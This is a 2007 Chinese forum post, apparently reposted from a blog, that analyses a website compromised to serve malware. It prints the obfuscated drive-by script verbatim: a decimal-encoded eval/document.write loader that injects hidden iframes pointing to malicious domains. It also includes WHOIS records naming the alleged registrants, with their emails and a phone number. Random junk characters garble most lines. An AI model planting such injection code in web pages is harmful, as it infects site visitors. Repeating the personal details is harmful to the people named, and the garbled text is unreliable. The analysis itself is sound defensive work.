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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 66,(yxg  
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http://www.areway.cn/?p=175 OtmDZ.t;`  
M{{kO@P"9  
Z )M "`2Ur  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: _eOC,J<-~  
          ;=jF9mV.  
<script>t=’60,105,102,114,97,109,101, LwK]fFtu  
32,115,114,99,61,104,116,116,112,58,47,47, o_BTo5]  
102,114,101,101,46,117,45,117,117,117,46,99, jD6HCIjd'  
110,47,101,114,114,111,114,46,104,116,109, ]i$y;]f  
32,119,105,100,116,104,61,49,48,48,32,104, 8c+V$rH_  
101,105,103,104,116,61,48,62,60,47,105,102, C| ~ A]wc=  
114,97,109,101,62′; A*?PH`bY  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> d \l{tmte  
                                                                                                  rB$~,q&.V  
<script>t=’60,105,102,114,97,109,101,32,115, ,MNv}w@  
114,99,61,104,116,116,112,58,47,47,102,114,  3Iv^  
101,101,46,117,45,117,117,117,46,99,110,47, CqlxE/|  
101,114,114,111,114,46,104,116,109,32,119, Y?NL|cW4  
105,100,116,104,61,49,48,48,32,104,101,105, 9hfg/3t('  
103,104,116,61,48,62,60,47,105,102,114,97, =g9n =spAn  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); W Su6chz)  
document.write(t);</script> 5@m ,*n&[  
                                                                                                  ]690ey$E:j  
<html xmlns=” ( .cA'f?h  
http://www.w3.org/1999/xhtml HS/.H,X  
“> .Y;f 9R  
<head> TA-2{=8  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> :LY.C<8  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> JM|HnyI  
<title>首页 - 爱生活家庭网 "u!gfG?oH  
                                                                                                                                                    dX cbS<  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 QQ.?A(U7  
转换字符串后的大概内容是(谁点击后果自付): \+%~7Bi]z  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ~ p? ArZb  
                                                                                                                                  XNWtX-[ ^@  
查询玉米u-uuu.cn的详细信息: gZ$ 8Y7  
Domain Name: u-uuu.cn ~3?-l/$  
ROID: 20070901s10001s64972306-cn 5 ix*wu`,  
Domain Status: ok !q\=e@j-i  
Registrant Organization: 王雷 f?Zjd&|Ch  
Registrant Name: 王雷 p{^:b6  
Administrative Email: czlovexs@126.com 4k<o  
Sponsoring Registrar: 北京万网志成科技有限公司 +ig%_QED[\  
Name Server:ns.yovole.com Lc{arhN  
Name Server:ns1.yovole.com @"MYq#2c$  
Registration Date: 2007-09-01 17:54 r6Yd"~ n  
Expiration Date: 2008-09-01 17:54 ly17FLJ].  
最后PING了一下地址 都没有什么…. P\7*ql`  
                                                                                                FT- .gi0  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. )bOfs*S  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> GHcx@||C?  
<script language=”javascript” src=” 5lG\ Z?  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script at_*Zh(  
> 'Z4}O_5_  
这个玉米应该有可能是木马作者的: ]u|v7}I4  
foafau.info的详细信息: n9+33^ PT  
Access to INFO WHOIS information is provided to assist persons in E{u6<B*  
determining the contents of a domain name registration record in the z}!g2d  
Afilias registry database. The data in this record is provided by pD%(Y^h?  
Afilias Limited for informational purposes only, and Afilias does not B-rE8 \  
guarantee its accuracy.  This service is intended only for query-based b?i+nh qI  
access. You agree that you will use this data only for lawful purposes CvY+b^;  
and that, under no circumstances will you use this data to: (a) allow, hT X[W%K  
enable, or otherwise support the transmission by e-mail, telephone, or Bdt6 w(`^  
facsimile of mass unsolicited, commercial advertising or solicitations ls^Z"9P  
to entities other than the data recipient’s own existing customers; or = UH3.  
(b) enable high volume, automated, electronic processes that send \N*([{X  
queries or data to the systems of Registry Operator, a Registrar, or wc;n= %  
Afilias except as reasonably necessary to register domain names or ~Kw#^.$3T  
modify existing registrations. All rights reserved. Afilias reserves ~V8z%s@  
the right to modify these terms at any time. By submitting this query, aZ4EcQ@-$]  
you agree to abide by this policy. d2`g,~d  
Domain ID:D22418703-LRMS P"_/P8  
Domain Name:FOAFAU.INFO XGx[Ny_A2  
Created On:20-Nov-2007 16:05:42 UTC *vD.\e~  
Last Updated On:20-Nov-2007 16:05:44 UTC 5CFNBb%Xy  
Expiration Date:20-Nov-2008 16:05:42 UTC Qu61$!  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) nnv|GnQST  
Status:CLIENT DELETE PROHIBITED ,/{e%J  
Status:CLIENT RENEW PROHIBITED {JgY-#R?{(  
Status:CLIENT TRANSFER PROHIBITED \~ D(ww  
Status:CLIENT UPDATE PROHIBITED d&j  
Status:TRANSFER PROHIBITED ukSv70Ev  
Registrant ID:GODA-040110615 G tI )O}  
Registrant Name:liu hong F}nwTras  
Registrant Organization: 7Bp7d/R-  
Registrant Street1:beijing H#SQ>vyAV  
Registrant Street2: A `Z/B[)  
Registrant Street3: vV}w>Ap[  
Registrant City:beijing k8w\d+!v  
Registrant State/Province: 8z#Qp(he  
Registrant Postal Code:100000 pmNy=ZXx  
Registrant Country:CN 0kkDlWkzo  
Registrant Phone:+86.860108888777 =8\.fp  
Registrant Phone Ext.: ?R)]D:`  
Registrant FAX: Z>9@)wo  
Registrant FAX Ext.: ,dIev<  
Registrant Email:bbbshiji@163.com xqG<R5k>>  
Admin ID:GODA-240110615 bE_8NA"2  
Admin Name:liu hong qiNVaV\wr|  
Admin Organization: 8>v_th  
Admin Street1:beijing @sXv5kZ:  
Admin Street2: Al-`}g+^  
Admin Street3: :>1nkm&Eg  
Admin City:beijing ==dKC;  
Admin State/Province: YaC%69C'  
Admin Postal Code:100000 FH~:&;  
Admin Country:CN !T`oHs  
Admin Phone:+86.860108888777 dJ"M#X!Zu  
Admin Phone Ext.: '#'noB;,  
Admin FAX: 4V JUu`[  
Admin FAX Ext.: o!M8V ^vW  
Admin Email:bbbshiji@163.com 4Z)s8sDKW  
Billing ID:GODA-340110615 ~ bLx2=-"  
Billing Name:liu hong \R#SoOd  
Billing Organization: )'djqpM.  
Billing Street1:beijing 6X \g7bg  
Billing Street2: AQ~ xjU  
Billing Street3: N6Mr#A-{  
Billing City:beijing IO\4dU)  
Billing State/Province: o:Fq|?/e  
Billing Postal Code:100000 !zA@{gvEc  
Billing Country:CN UkL1h7}a\  
Billing Phone:+86.860108888777 YZol4q|ic  
Billing Phone Ext.: y}?|+/ dN  
Billing FAX: OEW'bT)  
Billing FAX Ext.: ETp?RWXX  
Billing Email:bbbshiji@163.com uZ+bo&  
Tech ID:GODA-140110615 mO>L]<O  
Tech Name:liu hong Pyo|Sgk  
Tech Organization: b:dN )m  
Tech Street1:beijing 6_j |@  
Tech Street2:  1MN!  
Tech Street3: U2 *ORd  
Tech City:beijing s<O$ Y  
Tech State/Province: ~aob@(  
Tech Postal Code:100000 8SGaS&  
Tech Country:CN 9wvlR6z;u  
Tech Phone:+86.860108888777 QQ(}71U  
Tech Phone Ext.: L+am-k:T~  
Tech FAX: 3Ua?^2l  
Tech FAX Ext.: NAR6q{c  
Tech Email:bbbshiji@163.com :viW  
Name Server:NS27.DOMAINCONTROL.COM (>al-vZ6A  
Name Server:NS28.DOMAINCONTROL.COM lzEynMO+  
Name Server: qe0D[L  
Name Server: .GrOdDK$ns  
Name Server: `/8@Fj  
Name Server: u^Q`xd1  
Name Server: '75T2Ud  
Name Server: n7Ao.b%uk-  
Name Server: SMN.AJ J  
Name Server: KgL!~J  
Name Server: q/i2o[f'n  
Name Server: QNNURf\[(  
Name Server: -#v~;Ci  
                                                                                                          n!jmxl$  
接着下载每个文件里面的代码: s)^/3a  
一步一步看.. ={BD*= i  
jq+(2  
#HUn~r  
yXJhOCa  
ula-o)S  
')m!48  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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